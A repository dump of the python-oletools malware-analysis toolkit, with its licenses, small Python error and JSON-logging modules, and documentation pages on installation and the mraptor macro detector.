FITNESS FOR A PARTICULAR PURPOSE ARE 22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 29 | 30 | 31 | ---------- 32 | 33 | olevba contains modified source code from the officeparser project, published 34 | under the following MIT License (MIT): 35 | 36 | officeparser is copyright (c) 2014 John William Davison 37 | 38 | Permission is hereby granted, free of charge, to any person obtaining a copy 39 | of this software and associated documentation files (the "Software"), to deal 40 | in the Software without restriction, including without limitation the rights 41 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 42 | copies of the Software, and to permit persons to whom the Software is 43 | furnished to do so, subject to the following conditions: 44 | 45 | The above copyright notice and this permission notice shall be included in all 46 | copies or substantial portions of the Software. 47 | 48 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 49 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 50 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 51 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 52 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 53 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 54 | SOFTWARE. 55 | -------------------------------------------------------------------------------- /oletools/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/oletools/__init__.py -------------------------------------------------------------------------------- /oletools/common/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/decalage2/oletools/58ff1a4e5bb6d9087cc9bc2c69e38150e38b69f8/oletools/common/__init__.py -------------------------------------------------------------------------------- /oletools/common/errors.py: -------------------------------------------------------------------------------- 1 | """ 2 | Errors used in several tools to avoid duplication 3 | 4 | .. codeauthor:: Intra2net AG 5 | """ 6 | 7 | class CryptoErrorBase(ValueError): 8 | """Base class for crypto-based exceptions.""" 9 | pass 10 | 11 | 12 | class CryptoLibNotImported(CryptoErrorBase, ImportError): 13 | """Exception thrown if msoffcrypto is needed but could not be imported.""" 14 | 15 | def __init__(self): 16 | super(CryptoLibNotImported, self).__init__( 17 | 'msoffcrypto-tools is not installed. Please run "pip install msoffcrypto-tool" or see https://github.com/nolze/msoffcrypto-tool') 18 | 19 | 20 | class UnsupportedEncryptionError(CryptoErrorBase): 21 | """Exception thrown if file is encrypted and cannot deal with it.""" 22 | def __init__(self, filename=None): 23 | super(UnsupportedEncryptionError, self).__init__( 24 | 'Office file {}is encrypted, not yet supported' 25 | .format('' if filename is None else filename + ' ')) 26 | 27 | 28 | class WrongEncryptionPassword(CryptoErrorBase): 29 | """Exception thrown if encryption could be handled but passwords wrong.""" 30 | def __init__(self, filename=None): 31 | super(WrongEncryptionPassword, self).__init__( 32 | 'Given passwords could not decrypt office file{}, use option -p to specify the password' 33 | .format('' if filename is None else ' ' + filename)) 34 | 35 | 36 | class MaxCryptoNestingReached(CryptoErrorBase): 37 | """ 38 | Exception thrown if decryption is too deeply layered. 39 | 40 | (...or decrypt code creates inf loop) 41 | """ 42 | def __init__(self, n_layers, filename=None): 43 | super(MaxCryptoNestingReached, self).__init__( 44 | 'Encountered more than {} layers of encryption for office file{}' 45 | .format(n_layers, '' if filename is None else ' ' + filename)) 46 | -------------------------------------------------------------------------------- /oletools/common/log_helper/__init__.py: -------------------------------------------------------------------------------- 1 | from . import log_helper as log_helper_ 2 | 3 | log_helper = log_helper_.LogHelper() 4 | 5 | __all__ = ['log_helper'] 6 | -------------------------------------------------------------------------------- /oletools/common/log_helper/_json_formatter.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import json 3 | 4 | 5 | class JsonFormatter(logging.Formatter): 6 | """ 7 | Format every message to be logged as a JSON object 8 | 9 | Uses the standard :py:class:`logging.Formatter` with standard arguments 10 | to do the actual formatting, could save and use a user-supplied formatter 11 | instead. 12 | """ 13 | _is_first_line = True 14 | 15 | def __init__(self, other_logger_has_first_line=False): 16 | if other_logger_has_first_line: 17 | self._is_first_line = False 18 | self.msg_formatter = logging.Formatter() # could adjust this 19 | 20 | def format(self, record): 21 | """ 22 | Since we don't buffer messages, we always prepend messages with a comma to make 23 | the output JSON-compatible. The only exception is when printing the first line, 24 | so we need to keep track of it. 25 | 26 | The actual conversion from :py:class:`logging.LogRecord` to a text message 27 | (i.e. %-formatting, adding exception information, etc.) is delegated to the 28 | standard :py:class:`logging.Formatter. 29 | 30 | The dumped json structure contains fields `msg` with the formatted message, 31 | `level` with the log-level of the message and `type`, which is created by 32 | :py:class:`oletools.common.log_helper.OletoolsLoggerAdapter` or added here 33 | (for input from e.g. captured warnings, third-party libraries) 34 | """ 35 | json_dict = dict(msg='', level='', type='') 36 | try: 37 | msg = self.msg_formatter.format(record) 38 | json_dict['msg'] = msg.replace('\n', ' ') 39 | json_dict['level'] = record.levelname 40 | json_dict['type'] = record.type 41 | except AttributeError: # most probably: record has no "type" field 42 | if record.name == 'py.warnings': # this is from python's warning-capture logger 43 | json_dict['type'] = 'warning' 44 | else: 45 | json_dict['type'] = 'msg' # message of unknown origin 46 | except Exception as exc: 47 | try: 48 | json_dict['msg'] = "Ignore {0} when formatting '{1}': {2}".format(type(exc), record.msg, exc) 49 | except Exception as exc2: 50 | json_dict['msg'] = 'Caught {0} in logging'.format(str(exc2)) 51 | json_dict['type'] = 'log-warning' 52 | json_dict['level'] = 'warning' 53 | 54 | formatted_message = ' ' + json.dumps(json_dict) 55 | 56 | if self._is_first_line: 57 | self._is_first_line = False 58 | return formatted_message 59 | 60 | return ', ' + formatted_message 61 | -------------------------------------------------------------------------------- /oletools/common/log_helper/_logger_adapter.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from . import _root_logger_wrapper 3 | 4 | 5 | class OletoolsLoggerAdapter(logging.LoggerAdapter): 6 | """ 7 | Adapter class for all loggers returned by the logging module. 8 | """ 9 | _json_enabled = None 10 | _is_warn_logger = False # this is always False 11 | 12 | def print_str(self, message, **kwargs): 13 | """ 14 | This function replaces normal print() calls so we can format them as JSON 15 | when needed or just print them right away otherwise. 16 | """ 17 | if self._json_enabled and self._json_enabled(): 18 | # Messages from this function should always be printed, 19 | # so when using JSON we log using the same level that set. 20 | # Additional information in kwargs is added to LogRecord 21 | self.log(_root_logger_wrapper.level(), message, extra=kwargs) 22 | else: 23 | print(message) 24 | 25 | def log(self, lvl, msg, *args, **kwargs): 26 | """ 27 | Run :py:meth:`process` on kwargs, then forward to actual logger. 28 | 29 | This is based on the logging cookbox, section "Using LoggerAdapter to 30 | impart contextual information". 31 | """ 32 | msg, kwargs = self.process(msg, kwargs) 33 | self.logger.log(lvl, msg, *args, **kwargs) 34 | 35 | def process(self, msg, kwargs): 36 | """ 37 | Ensure `kwargs['extra']['type']` exists, init with given arg `type`. 38 | 39 | The `type` field will be added to the :py:class:`logging.LogRecord` and 40 | is used by the :py:class:`JsonFormatter`. 41 | """ 42 | if 'extra' not in kwargs: 43 | kwargs['extra'] = {} 44 | if 'type' in kwargs: 45 | kwargs['extra']['type'] = kwargs['type'] 46 | del kwargs['type'] # downstream loggers cannot deal with this 47 | if 'type' not in kwargs['extra']: 48 | if self._is_warn_logger: 49 | kwargs['extra']['type'] = 'warning' # this will add field 50 | else: 51 | kwargs['extra']['type'] = 'msg' # 'type' to LogRecord 52 | return msg, kwargs 53 | 54 | def set_json_enabled_function(self, json_enabled): 55 | """ 56 | Set a function to be called to check whether JSON output is enabled. 57 | """ 58 | self._json_enabled = json_enabled 59 | 60 | def set_warnings_logger(self): 61 | """Make this the logger for warnings""" 62 | # create a object attribute that shadows the class attribute which is 63 | # always False 64 | self._is_warn_logger = True 65 | 66 | def level(self): 67 | """Return current level of logger.""" 68 | return self.logger.level 69 | 70 | def setLevel(self, new_level): 71 | """Set level of underlying logger. Required only for python < 3.2.""" 72 | return self.logger.setLevel(new_level) 73 | -------------------------------------------------------------------------------- /oletools/common/log_helper/_root_logger_wrapper.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | 4 | def is_logging_initialized(): 5 | """ 6 | We use the same strategy as the logging module when checking if 7 | the logging was initialized - look for handlers in the root logger 8 | """ 9 | return len(logging.root.handlers) > 0 10 | 11 | 12 | def set_formatter(fmt): 13 | """ 14 | Set the formatter to be used by every handler of the root logger. 15 | """ 16 | if not is_logging_initialized(): 17 | return 18 | 19 | for handler in logging.root.handlers: 20 | handler.setFormatter(fmt) 21 | 22 | 23 | def level(): 24 | return logging.root.level 25 | -------------------------------------------------------------------------------- /oletools/doc/Contribute.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Untitled 8 | 14 | 17 | 18 | 19 |

How to Suggest Improvements, Report Issues or Contribute

20 |

This is a personal open-source project, developed on my spare time. Any contribution, suggestion, feedback or bug report is welcome.

21 |

To suggest improvements, report a bug or any issue, please use the issue reporting page, and provide all the information and files to reproduce the problem.

22 |

You may also contact the author directly to send feedback.

23 |

The code is available in a repository on GitHub. You may use it to submit enhancements using forks and pull requests.

24 |
25 |

python-oletools documentation

26 | 47 | 48 | 49 | -------------------------------------------------------------------------------- /oletools/doc/Contribute.md: -------------------------------------------------------------------------------- 1 | How to Suggest Improvements, Report Issues or Contribute 2 | ======================================================== 3 | 4 | This is a personal open-source project, developed on my spare time. 5 | Any contribution, suggestion, feedback or bug report is welcome. 6 | 7 | To **suggest improvements, report a bug or any issue**, 8 | please use the [issue reporting page](https://github.com/decalage2/oletools/issues), 9 | and provide all the information and files to reproduce the problem. 10 | 11 | You may also [contact the author](http://decalage.info/contact) directly 12 | to **send feedback**. 13 | 14 | The code is available in [a repository on GitHub](https://github.com/decalage2/oletools). 15 | You may use it to **submit enhancements** using forks and pull requests. 16 | 17 | -------------------------------------------------------------------------- 18 | 19 | python-oletools documentation 20 | ----------------------------- 21 | 22 | - [[Home]] 23 | - [[License]] 24 | - [[Install]] 25 | - [[Contribute]], Suggest Improvements or Report Issues 26 | - Tools: 27 | - [[mraptor]] 28 | - [[msodde]] 29 | - [[olebrowse]] 30 | - [[oledir]] 31 | - [[oleid]] 32 | - [[olemap]] 33 | - [[olemeta]] 34 | - [[oleobj]] 35 | - [[oletimes]] 36 | - [[olevba]] 37 | - [[pyxswf]] 38 | - [[rtfobj]] 39 | -------------------------------------------------------------------------------- /oletools/doc/Home.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Untitled 8 | 14 | 17 | 18 | 19 |

python-oletools documentation

20 |

This is the home page of the documentation for python-oletools. The latest version can be found online, otherwise a copy is provided in the doc subfolder of the package.

21 |

oletools is a package of python tools to analyze Microsoft OLE2 files (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office 97-2003 documents, MSI files or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the olefile parser.

22 |

It also provides tools to analyze RTF files and files based on the OpenXML format (aka OOXML) such as MS Office 2007+ documents, XPS or MSIX files.

23 |

For example, oletools can detect, extract and analyse VBA macros, OLE objects, Excel 4 macros (XLM) and DDE links.

24 |

See http://www.decalage.info/python/oletools for more info.

25 |

Quick links: Home page - Download/Install - Documentation - Report Issues/Suggestions/Questions - Contact the Author - Repository - Updates on Twitter

26 |

Note: python-oletools is not related to OLETools published by BeCubed Software.

27 |

Tools in python-oletools:

28 |

Tools to analyze malicious documents

29 | 38 |

Tools to analyze the structure of OLE files

39 | 47 |
48 |

python-oletools documentation

49 | 70 | 71 | 72 | -------------------------------------------------------------------------------- /oletools/doc/Home.md: -------------------------------------------------------------------------------- 1 | python-oletools documentation 2 | ============================= 3 | 4 | This is the home page of the documentation for python-oletools. The latest version can be found 5 | [online](https://github.com/decalage2/oletools/wiki), otherwise a copy is provided in the doc subfolder of the package. 6 | 7 | [oletools](http://www.decalage.info/python/oletools) is a package of python tools to analyze 8 | [Microsoft OLE2 files](http://en.wikipedia.org/wiki/Compound_File_Binary_Format) 9 | (also called Structured Storage, Compound File Binary Format or Compound Document File Format), 10 | such as Microsoft Office 97-2003 documents, MSI files or Outlook messages, mainly for malware analysis, 11 | forensics and debugging. 12 | It is based on the [olefile](http://www.decalage.info/olefile) parser. 13 | 14 | It also provides tools to analyze RTF files and files based on the [OpenXML format](https://en.wikipedia.org/wiki/Office_Open_XML) 15 | (aka OOXML) such as MS Office 2007+ documents, XPS or MSIX files. 16 | 17 | For example, oletools can detect, extract and analyse VBA macros, OLE objects, Excel 4 macros (XLM) and DDE links. 18 | 19 | See [http://www.decalage.info/python/oletools](http://www.decalage.info/python/oletools) for more info. 20 | 21 | **Quick links:** 22 | [Home page](http://www.decalage.info/python/oletools) - 23 | [Download/Install](https://github.com/decalage2/oletools/wiki/Install) - 24 | [Documentation](https://github.com/decalage2/oletools/wiki) - 25 | [Report Issues/Suggestions/Questions](https://github.com/decalage2/oletools/issues) - 26 | [Contact the Author](http://decalage.info/contact) - 27 | [Repository](https://github.com/decalage2/oletools) - 28 | [Updates on Twitter](https://twitter.com/decalage2) 29 | 30 | Note: python-oletools is not related to OLETools published by BeCubed Software. 31 | 32 | Tools in python-oletools: 33 | ------------------------- 34 | 35 | ### Tools to analyze malicious documents 36 | 37 | - **[[oleid]]**: to analyze OLE files to detect specific characteristics usually found in malicious files. 38 | - **[[olevba]]**: to extract and analyze VBA Macro source code from MS Office documents (OLE and OpenXML). 39 | - **[[mraptor]]**: to detect malicious VBA Macros 40 | - **[[msodde]]**: to detect and extract DDE/DDEAUTO links from MS Office documents, RTF and CSV 41 | - **[[pyxswf]]**: to detect, extract and analyze Flash objects (SWF) that may 42 | be embedded in files such as MS Office documents (e.g. Word, Excel) and RTF, 43 | which is especially useful for malware analysis. 44 | - **[[oleobj]]**: to extract embedded objects from OLE files. 45 | - **[[rtfobj]]**: to extract embedded objects from RTF files. 46 | 47 | ### Tools to analyze the structure of OLE files 48 | 49 | - **[[olebrowse]]**: A simple GUI to browse OLE files (e.g. MS Word, Excel, Powerpoint documents), to 50 | view and extract individual data streams. 51 | - **[[olemeta]]**: to extract all standard properties (metadata) from OLE files. 52 | - **[[oletimes]]**: to extract creation and modification timestamps of all streams and storages. 53 | - **[[oledir]]**: to display all the directory entries of an OLE file, including free and orphaned entries. 54 | - **[[olemap]]**: to display a map of all the sectors in an OLE file. 55 | - and a few others (coming soon) 56 | 57 | -------------------------------------------------------------------------- 58 | 59 | python-oletools documentation 60 | ----------------------------- 61 | 62 | - [[Home]] 63 | - [[License]] 64 | - [[Install]] 65 | - [[Contribute]], Suggest Improvements or Report Issues 66 | - Tools: 67 | - [[mraptor]] 68 | - [[msodde]] 69 | - [[olebrowse]] 70 | - [[oledir]] 71 | - [[oleid]] 72 | - [[olemap]] 73 | - [[olemeta]] 74 | - [[oleobj]] 75 | - [[oletimes]] 76 | - [[olevba]] 77 | - [[pyxswf]] 78 | - [[rtfobj]] 79 | -------------------------------------------------------------------------------- /oletools/doc/Install.md: -------------------------------------------------------------------------------- 1 | How to Download and Install oletools 2 | ==================================== 3 | 4 | Pre-requisites 5 | -------------- 6 | 7 | The recommended Python version to run oletools is the latest **Python 3.x** (3.12 for now). 8 | Python 2.7 is still supported for the moment, even if it reached end of life in 2020 9 | (for projects still using Python 2/PyPy 2 such as ViperMonkey). 10 | It is highly recommended to switch to Python 3 if possible. 11 | 12 | Recommended way to Download+Install/Update oletools: pip or pipx 13 | ---------------------------------------------------------------- 14 | 15 | Pip is included with Python since version 2.7.9 and 3.4. If it is not installed on your 16 | system, either upgrade Python or see https://pip.pypa.io/en/stable/installing/ 17 | 18 | ### Linux, Mac OSX, Unix 19 | 20 | To download and install/update the latest release version of oletools with all its dependencies, 21 | run the following command in a shell: 22 | 23 | ```text 24 | sudo -H pip install -U oletools[full] 25 | ``` 26 | The keyword `[full]` means that all optional dependencies will be installed, such as XLMMacroDeobfuscator. 27 | If you prefer a lighter version without optional dependencies, use the following command instead: 28 | 29 | ```text 30 | sudo -H pip install -U oletools 31 | ``` 32 | 33 | Replace `pip` by `pip3` or `pip2` to install on a specific Python version. 34 | 35 | On some Linux distributions, it might not be allowed to install system-wide python packages 36 | with pip. In that case, pipx may be a better alternative to install oletools in a user virtual 37 | environment, and to install the command-line scripts oleid, olevba, etc: 38 | 39 | ```text 40 | pipx install oletools 41 | ``` 42 | 43 | 44 | **Important**: Since version 0.50, pip will automatically create convenient command-line scripts 45 | in /usr/local/bin to run all the oletools from any directory. 46 | 47 | ### Windows 48 | 49 | To download and install/update the latest release version of oletools with all its dependencies, 50 | run the following command in a cmd window: 51 | 52 | ```text 53 | pip install -U oletools[full] 54 | ``` 55 | The keyword `[full]` means that all optional dependencies will be installed, such as XLMMacroDeobfuscator. 56 | If you prefer a lighter version without optional dependencies, use the following command instead: 57 | 58 | ```text 59 | pip install -U oletools 60 | ``` 61 | 62 | Replace `pip` by `pip3` or `pip2` to install on a specific Python version. 63 | 64 | **Note**: with Python 3, you may need to open a cmd window with Administrator privileges in order to run pip 65 | and install for all users. If that is not possible, you may also install only for the current user 66 | by adding the `--user` option: 67 | 68 | ```text 69 | pip3 install -U --user oletools 70 | ``` 71 | 72 | **Important**: Since version 0.50, pip will automatically create convenient command-line scripts 73 | to run all the oletools from any directory: olevba, mraptor, oleid, rtfobj, etc. 74 | 75 | 76 | How to install the latest development version 77 | --------------------------------------------- 78 | 79 | If you want to benefit from the latest improvements in the development version, 80 | you may also use pip: 81 | 82 | ### Linux, Mac OSX, Unix 83 | 84 | ```text 85 | sudo -H pip install -U https://github.com/decalage2/oletools/archive/master.zip 86 | ``` 87 | Note that it will install oletools without optional dependencies such as XLMMacroDeobfuscator, 88 | so you may need to install them separately. 89 | 90 | Replace `pip` by `pip3` or `pip2` to install on a specific Python version. 91 | 92 | ### Windows 93 | 94 | ```text 95 | pip install -U https://github.com/decalage2/oletools/archive/master.zip 96 | ``` 97 | Note that it will install oletools without optional dependencies such as XLMMacroDeobfuscator, 98 | so you may need to install them separately. 99 | 100 | Replace `pip` by `pip3` or `pip2` to install on a specific Python version. 101 | 102 | **Note**: with Python 3, you may need to open a cmd window with Administrator privileges in order to run pip 103 | and install for all users. If that is not possible, you may also install only for the current user 104 | by adding the `--user` option: 105 | 106 | ```text 107 | pip3 install -U --user https://github.com/decalage2/oletools/archive/master.zip 108 | ``` 109 | 110 | How to install offline - Computer without Internet access 111 | --------------------------------------------------------- 112 | 113 | First, download the oletools archive on a computer with Internet access: 114 | * Latest stable version: from https://pypi.org/project/oletools/ or https://github.com/decalage2/oletools/releases 115 | * Development version: https://github.com/decalage2/oletools/archive/master.zip 116 | 117 | Copy the archive file to the target computer. 118 | 119 | On Linux, Mac OSX, Unix, run the following command using the filename of the 120 | archive that you downloaded: 121 | 122 | ```text 123 | sudo -H pip install -U oletools.zip 124 | ``` 125 | 126 | On Windows: 127 | 128 | ```text 129 | pip install -U oletools.zip 130 | ``` 131 | 132 | 133 | Old school install using setup.py 134 | --------------------------------- 135 | 136 | If you cannot use pip, it is still possible to run the setup.py script 137 | directly. However, this method will not create the command-line scripts 138 | automatically. 139 | 140 | First, download the oletools archive: 141 | * Latest stable version: from https://github.com/decalage2/oletools/releases 142 | * Development version: https://github.com/decalage2/oletools/archive/master.zip 143 | 144 | Then extract the archive, open a shell and go to the oletools directory. 145 | 146 | ### Linux, Mac OSX, Unix 147 | 148 | ```text 149 | sudo -H python setup.py install 150 | ``` 151 | 152 | ### Windows: 153 | 154 | ```text 155 | python setup.py install 156 | ``` 157 | 158 | 159 | -------------------------------------------------------------------------- 160 | 161 | python-oletools documentation 162 | ----------------------------- 163 | 164 | - [[Home]] 165 | - [[License]] 166 | - [[Install]] 167 | - [[Contribute]], Suggest Improvements or Report Issues 168 | - Tools: 169 | - [[mraptor]] 170 | - [[msodde]] 171 | - [[olebrowse]] 172 | - [[oledir]] 173 | - [[oleid]] 174 | - [[olemap]] 175 | - [[olemeta]] 176 | - [[oleobj]] 177 | - [[oletimes]] 178 | - [[olevba]] 179 | - [[pyxswf]] 180 | - [[rtfobj]] 181 | -------------------------------------------------------------------------------- /oletools/doc/License.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Untitled 8 | 14 | 17 | 18 | 19 |

License for python-oletools

20 |

This license applies to the python-oletools package, apart from the thirdparty folder which contains third-party files published with their own license.

21 |

The python-oletools package is copyright (c) 2012-2025 Philippe Lagadec (http://www.decalage.info)

22 |

All rights reserved.

23 |

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

24 | 28 |

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

29 | 30 | 31 | 32 | 33 | 34 | 35 |
License for officeparser
36 |

olevba contains modified source code from the officeparser project, published under the following MIT License (MIT):

37 |

officeparser is copyright (c) 2014 John William Davison

38 |

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

39 |

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

40 |

THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

41 |
42 |

python-oletools documentation

43 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /oletools/doc/License.md: -------------------------------------------------------------------------------- 1 | License for python-oletools 2 | =========================== 3 | 4 | This license applies to the [python-oletools](http://www.decalage.info/python/oletools) package, apart from the 5 | thirdparty folder which contains third-party files published with their own license. 6 | 7 | The python-oletools package is copyright (c) 2012-2025 Philippe Lagadec ([http://www.decalage.info](http://www.decalage.info)) 8 | 9 | All rights reserved. 10 | 11 | Redistribution and use in source and binary forms, with or without modification, 12 | are permitted provided that the following conditions are met: 13 | 14 | * Redistributions of source code must retain the above copyright notice, this 15 | list of conditions and the following disclaimer. 16 | * Redistributions in binary form must reproduce the above copyright notice, 17 | this list of conditions and the following disclaimer in the documentation 18 | and/or other materials provided with the distribution. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 21 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 22 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | 31 | 32 | ---------- 33 | License for officeparser 34 | ------------------------ 35 | 36 | olevba contains modified source code from the [officeparser](https://github.com/unixfreak0037/officeparser) project, published 37 | under the following MIT License (MIT): 38 | 39 | officeparser is copyright (c) 2014 John William Davison 40 | 41 | Permission is hereby granted, free of charge, to any person obtaining a copy 42 | of this software and associated documentation files (the "Software"), to deal 43 | in the Software without restriction, including without limitation the rights 44 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 45 | copies of the Software, and to permit persons to whom the Software is 46 | furnished to do so, subject to the following conditions: 47 | 48 | The above copyright notice and this permission notice shall be included in all 49 | copies or substantial portions of the Software. 50 | 51 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 52 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 53 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 54 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 55 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 56 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 57 | SOFTWARE. 58 | 59 | -------------------------------------------------------------------------- 60 | 61 | python-oletools documentation 62 | ----------------------------- 63 | 64 | - [[Home]] 65 | - [[License]] 66 | - [[Install]] 67 | - [[Contribute]], Suggest Improvements or Report Issues 68 | - Tools: 69 | - [[mraptor]] 70 | - [[msodde]] 71 | - [[olebrowse]] 72 | - [[oledir]] 73 | - [[oleid]] 74 | - [[olemap]] 75 | - [[olemeta]] 76 | - [[oleobj]] 77 | - [[oletimes]] 78 | - [[olevba]] 79 | - [[pyxswf]] 80 | - [[rtfobj]] 81 | -------------------------------------------------------------------------------- /oletools/doc/mraptor.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Untitled 8 | 14 | 17 | 18 | 19 |

mraptor (MacroRaptor)

20 |

mraptor is a tool designed to detect most malicious VBA Macros using generic heuristics. Unlike antivirus engines, it does not rely on signatures.

21 |

In a nutshell, mraptor detects keywords corresponding to the three following types of behaviour that are present in clear text in almost any macro malware: - A: Auto-execution trigger - W: Write to the file system or memory - X: Execute a file or any payload outside the VBA context

22 |

mraptor considers that a macro is suspicious when A and (W or X) is true.

23 |

For more information about mraptor’s detection algorithm, see the article How to detect most malicious macros without an antivirus.

24 |

mraptor can be used either as a command-line tool, or as a python module from your own applications.

25 |

It is part of the python-oletools package.

26 |

Usage

27 |
Usage: mraptor [options] <filename> [filename2 ...]
28 | 
29 | Options:
30 |   -h, --help            show this help message and exit
31 |   -r                    find files recursively in subdirectories.
32 |   -z ZIP_PASSWORD, --zip=ZIP_PASSWORD
33 |                         if the file is a zip archive, open all files from it,
34 |                         using the provided password (requires Python 2.6+)
35 |   -f ZIP_FNAME, --zipfname=ZIP_FNAME
36 |                         if the file is a zip archive, file(s) to be opened
37 |                         within the zip. Wildcards * and ? are supported.
38 |                         (default:*)
39 |   -l LOGLEVEL, --loglevel=LOGLEVEL
40 |                         logging level debug/info/warning/error/critical
41 |                         (default=warning)
42 |   -m, --matches         Show matched strings.
43 | 
44 | An exit code is returned based on the analysis result:
45 |  - 0: No Macro
46 |  - 1: Not MS Office
47 |  - 2: Macro OK
48 |  - 10: ERROR
49 |  - 20: SUSPICIOUS
50 |

Examples

51 |

Scan a single file:

52 |
mraptor file.doc
53 |

Scan a single file, stored in a Zip archive with password “infected”:

54 |
mraptor malicious_file.xls.zip -z infected
55 |

Scan a collection of files stored in a folder:

56 |
mraptor "MalwareZoo/VBA/*"
57 |

Important: on Linux/MacOSX, always add double quotes around a file name when you use wildcards such as * and ?. Otherwise, the shell may replace the argument with the actual list of files matching the wildcards before starting the script.

58 |

59 |

Python 3 support - mraptor3

60 |

Since v0.54, mraptor is fully compatible with both Python 2 and 3. There is no need to use mraptor3 anymore, however it is still present for backward compatibility.

61 |
62 |

How to use mraptor in Python applications

63 |

TODO

64 |
65 |

python-oletools documentation

